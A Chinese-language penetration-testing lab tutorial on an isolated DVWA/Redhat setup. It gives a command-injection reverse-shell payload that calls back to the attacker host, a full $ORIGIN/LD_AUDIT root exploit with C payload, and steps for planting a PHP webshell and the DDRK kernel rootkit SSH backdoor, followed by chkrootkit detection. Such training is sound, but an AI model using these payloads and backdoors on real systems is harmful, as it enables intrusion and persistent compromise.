摘要:课程编写

课程编写

类别

内容

实验课题名称

Linux渗透测试笔记

实验目的与要求

1、了解Web安全中命令注入漏洞

2、了解通过命令注入漏洞反弹shell

3、了解Linux2.6.18-164.e15的提权利用

4、了解如何安装rootkit后门

5、了解如何清除rootkit后门

实验环境

VPC1(虚拟PC

Kali Linux

VPC1连接要求

PC网络接口,本地连接与VPC2VPC3互连互通

VPC2(虚拟PC

Redhat Linux

VPC2连接要求

PC 网络接口,本地连接与VPC1VPC3互连互通

VPC3(虚拟PC

Windows 2003

VPC3连接要求

PC 网络接口,本地连接与VPC2VPC3互连互通

实验环境描述

1、学生机与实验室网络直连

2VPC1VPC2VPC3与实验室网络直连

预备知识

DVWA介绍:

DVWA (Dam Vulnerable Web Application)是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。

L011001001 – Linux渗透测试笔记-林小屋博客

 

命令注入介绍:

命令注入攻击的常见模式为:仅仅需要输入数据的场合,却伴随着数据同时输入了恶意代码,而装载数据的系统对此并未设计良好的过滤过程,导致恶意代码也一并执行,最终导致信息泄露或者正常数据的破坏。其中最常见的一类攻击行为就是针对数据库系统的SQL(结构化查询语言)注入。常见的SQL语句构成为:对符合特定条件的数据(某些行的某些列)实施增、删、改、查等操作。其中需要符合的条件就是所谓数据(如学生数据表中性别为女,或年龄大于10岁等),对这些数据的选取以及实施的某种操作就是指令。成功的SQL注入攻击就在于,在输入数据的时候混杂了其它SQL子句,最终拼接成的SQL语句语法是正确的(数据库系统对此毫无防备)并得到执行。

 

提权:

 

提权,顾名思义就是提高自己在服务器中的权限,就比如在windows中你本身登录的用户是guest,然后通过提权后就变成超级管理员,拥有了管理Windows的所有权限。提权是黑客的专业名词,一般用于网站入侵和系统入侵中。

 

Rootkit

在悬念迭起的中外谍战片里,对战双方中的一派势力通常会派遣特工人员潜伏到对手阵营中。这名卧底人员良好的伪装使得对手对此长时间毫无察觉;为了能够长期潜伏他不贸然采取高风险行为以免过早暴露自己;他赢得敌人的信任并因此身居要职,这使得他能够源源不断地获取重要情报并利用其独特渠道传送回去。

从某种意义上说这位不速之客就是Rootkit——持久并毫无察觉地驻留在目标计算机中,对系统进行操纵、并通过隐秘渠道收集数据的程序。Rootkit的三要素就是:隐藏、操纵、收集数据。

“Rootkit”root术语来自于unix领域。由于unix主机系统管理员账号为root账号,该账号拥有最小的安全限制,完全控制主机并拥有了管理员权限被称为“root”了这台电脑。然而能够“root”一台主机并不意味着能持续地控制它,因为管理员完全可能发现了主机遭受入侵并采取清理措施。因此Rootkit的初始含义就在于能维持root权限的一套工具

简单地说,Rootkit是一种特殊的恶意软件,它的功能是在安装目标上隐藏自身及指定的文件、进程和网络链接等信息,比较多见到的是Rootkit一般都和木马、后门等其他恶意程序结合使用。Rootkit通过加载特殊的驱动,修改系统内核,进而达到隐藏信息的目的。

NSA安全和入侵检测术语字典( NSA Glossary of Terms Used in Security and Intrusion Detection)rootkit的定义如下:A hacker security tool that captures passwords and message traffic to and from a computer. A collection of tools that allows a hacker to provide a backdoor into a system, collect information on other systems on the network,mask the fact that the system is compromised, and much more. Rootkit is a classic example of Trojan Horse software. Rootkit is available for a wide range of operating systems.

rootkit并不一定是用作获得系统root访问权限的工具。实际上,rootkit是攻击者用来隐藏自己的踪迹和保留root访问权限的工具。通常,攻击者通过远程攻击获得root访问权限,或者首先密码猜测或者密码强制破译的方式获得系统的访问权限。进入系统后,如果他还没有获得root权限,再通过某些安全漏洞获得系统的root权限。接着,攻击者会在侵入的主机中安装rootkit,然后他将经常通过rootkit的后门检查系统是否有其他的用户登录,如果只有自己,攻击者就开始着手清理日志中的有关信息。通过rootkit的嗅探器获得其它系统的用户和密码之后,攻击者就会利用这些信息侵入其它的系统。

 

实验内容

1、学习渗透测试的整个过程

实验步骤

1.学生单击 “试验环境试验”进入实验场景,单击“打开控制台”按钮,进入目标主机。如图1所示:

 

2.打开虚拟机L011001001win03,输入默认账号administrator,密码123456,进入windows 2003系统主机,并查看ip地址,如图所示:

L011001001 – Linux渗透测试笔记-林小屋博客

3.打开虚拟机L011001001kali, 输入用户名为:root ,密码toor,进入Kali Linux中,并查看ip地址,如图所示:

 

L011001001 – Linux渗透测试笔记-林小屋博客

 

3.打开虚拟机L011001001redhat, 输入用户名为:root ,密码123456,进入Redhat Linux中,并查看ip地址,如图所示:

 

L011001001 – Linux渗透测试笔记-林小屋博客

 

4.在Redhat虚拟机中,用命令“ /opt/lampp/lampp start”打开ApacheMysql的服务:

 

L011001001 – Linux渗透测试笔记-林小屋博客

 

5.Kali 虚拟机中,用浏览器打开Redhat虚拟机中Web的地址,帐号为admin,密码为password

 

L011001001 – Linux渗透测试笔记-林小屋博客

 

6.创建数据库

 

L011001001 – Linux渗透测试笔记-林小屋博客

 

7.将安全等级设置为low

 

L011001001 – Linux渗透测试笔记-林小屋博客

 

8.点击进入命令注入漏洞模块:

 

L011001001 – Linux渗透测试笔记-林小屋博客

 

9.此时在Kali虚拟机中打开终端,输入“nc –v –l –p 80” ,监听本机80端口。

 

L011001001 – Linux渗透测试笔记-林小屋博客

 

10.在命令注入漏洞模块的输入框中输入“;/bin/bash –i > /dev/tcp/172.16.1.52/80|0<&1 2>&1”,然后提交。

 

L011001001 – Linux渗透测试笔记-林小屋博客

 

11.此时在Kali虚拟机中会反弹回来一个Redhatshell,如下图所示:

 

L011001001 – Linux渗透测试笔记-林小屋博客

 

12.输入命令“id”,查看账户属性:

 

L011001001 – Linux渗透测试笔记-林小屋博客

 

13.输入命令“uname -a”,查看系统版本号:

 

L011001001 – Linux渗透测试笔记-林小屋博客

 

14.接下来用网上现有的提权步骤进行提权,提权相关文档已放到Kali虚拟机桌面上.

 

L011001001 – Linux渗透测试笔记-林小屋博客

 

15.将文档里的内容直接复制粘贴到终端即可.

 

L011001001 – Linux渗透测试笔记-林小屋博客

 

提权exp详细解析:

/tmp下创建可控制的目录

$ mkdir /tmp/exploit

链接到suid二进制程序以更改$ORIGIN的定义

$ ln /bin/ping /tmp/exploit/target

打开到目标二进制程序的文件描述符

$ exec 3< /tmp/exploit/target

现在可通过/proc访问描述符

$ ls -l /proc/$$/fd/3

 

lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target*

删除之前所创建的目录

$ rm -rf /tmp/exploit/

# /proc链接仍存在,但已标记为已被删除

$ ls -l /proc/$$/fd/3

lr-x------ 1 taviso taviso 64 Oct 15 09:21 /proc/10836/fd/3 -> /tmp/exploit/target (deleted)

使用负载DSO替换目录,使$ORIGIN成为到dlopen()的有效目标

 

$ cat > payload.c

void __attribute__((constructor)) init()

{

setuid(0);

system("/bin/bash");

}

$ gcc -w -fPIC -shared -o /tmp/exploit payload.c

$ ls -l /tmp/exploit

-rwxrwx--- 1 taviso taviso 4.2K Oct 15 09:22 /tmp/exploit*

通过LD_AUDIT强制/proc中的链接加载$ORIGIN

$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3

 

 

 

 

16.此时输入命令“id”,会发现uid=0,即获得root权限,表示提权成功。

 

L011001001 – Linux渗透测试笔记-林小屋博客

 

17.接下来我们需要安装木马与rootkit后门,便于以后的进入.在终端输入如图所示命令,即在靶机上建立一个一句话木马文件.

 

L011001001 – Linux渗透测试笔记-林小屋博客

 

18.此时在Win03虚拟机的D:\tools文件夹下打开中国菜刀chopper,右击界面,点击添加,地址栏里输入一句话木马的路径,后面输入密码,类型选择PHP(Eval),点击添加.

 

L011001001 – Linux渗透测试笔记-林小屋博客

 

19.此时中国菜刀界面上多了一个目录.

 

L011001001 – Linux渗透测试笔记-林小屋博客

 

20.双击打开,得到靶机系统的目录.

 

L011001001 – Linux渗透测试笔记-林小屋博客

 

21.点击进入/tmp文件夹下(因为/tmp文件夹一般为可读可写),右击界面,并点击上传,在D:/tools文件夹下选择ddrk.tar.gz文件,点击打开进行上传.

 

L011001001 – Linux渗透测试笔记-林小屋博客

 

22.此时在/tmp文件夹下发现多了一个ddrk.tar.gz文件.

 

L011001001 – Linux渗透测试笔记-林小屋博客

 

DDRK 相关介绍:

 

DDRK是一个Linux结合shvadore-ng优点,内核级别的rootkit

DDRK中包含的文件:

netstat  #替换系统中的netstat,从ssh配置文件中读取端口并隐藏

rk.ko  #内核模块,实现文件和进程的隐藏功能

setup  #rootkit安装文件

tty  #ava工具

bin.tgz

         ---ttymon

         ---sshd.tgz

                   ---.sh

                            ---shdcf2  #sshd配置文件

                            ---shhk

                            ---shhk.pub

                            ---shrs

                            ---sshd  #sshd主程序

 

 

 

23.在Kali虚拟机反弹的Shell终端上命令“cd /tmp”与“ls”可查看到/tmp目录确实多了一个ddrk.tar.gz文件.

 

L011001001 – Linux渗透测试笔记-林小屋博客

 

24.用命令“tar –zxvf ddrk.tar.gz”进行解压.

 

L011001001 – Linux渗透测试笔记-林小屋博客

 

25.用命令“cd ddrk”与“ls”查看ddrk目录下解压出来的文件.

L011001001 – Linux渗透测试笔记-林小屋博客

 

26.用命令“chmod 777 *”将ddrk下的文件全部赋予可读可写可执行的权限.

 

L011001001 – Linux渗透测试笔记-林小屋博客

 

27.用命令“./setup 密码 端口号”进行安装并设置密码与端口号,只输入“./setup”,默认密码为123456,默认端口号为43958.

 

L011001001 – Linux渗透测试笔记-林小屋博客

 

28.此时在Kali虚拟机下打开一个终端,输入命令“ssh -1 root@172.16.1.57 –p 43958”登录到靶机上.

 

L011001001 – Linux渗透测试笔记-林小屋博客

 

29.用命令“ipconfig”查看ip地址,发现确实是已经登录到了靶机172.16.1.57上了。

 

L011001001 – Linux渗透测试笔记-林小屋博客

 

30.接下来用工具chkrootkit进行rootkit的检测.可以用sshchkrootkit.tar.gz文件上传到redhat虚拟机下,直接在redhat虚拟机里进行检测;也可以直接用中国菜刀将chkrootkit.tar.gz上传到redhat虚拟机下.上传完成后,“ls”进行查看,并用命令“tar –zxvf chkrootkit.tar.gz”进行解压缩.

 

L011001001 – Linux渗透测试笔记-林小屋博客

 

31.编译安装chkrootkit.

 

L011001001 – Linux渗透测试笔记-林小屋博客

 

32.把编译好的文件部署到/usr/local/目录中,并删除遗留的文件.至此,安装完毕.

 

L011001001 – Linux渗透测试笔记-林小屋博客

 

33.安装好的chkrootkit程序位于/usr/local/chkrootkit/chkrootkit,直接执行命令“/usr/local/chkrootkit/chkrootkit”即可对系统rootkit进行全面扫描,并滚动显示出结果,如图:

 

L011001001 – Linux渗透测试笔记-林小屋博客

 

安全提示:由于chkrootkit的检查过程使用了部分系统命令。因此,如果服务器被入侵,则依赖的系统命令可能也已经被入侵者做了手脚,chkrootkit的结果将变得完全不可信,甚至连系统ls等查看文件的基础命令也变得不可信。

 

 

实验到此结束,关闭虚拟机。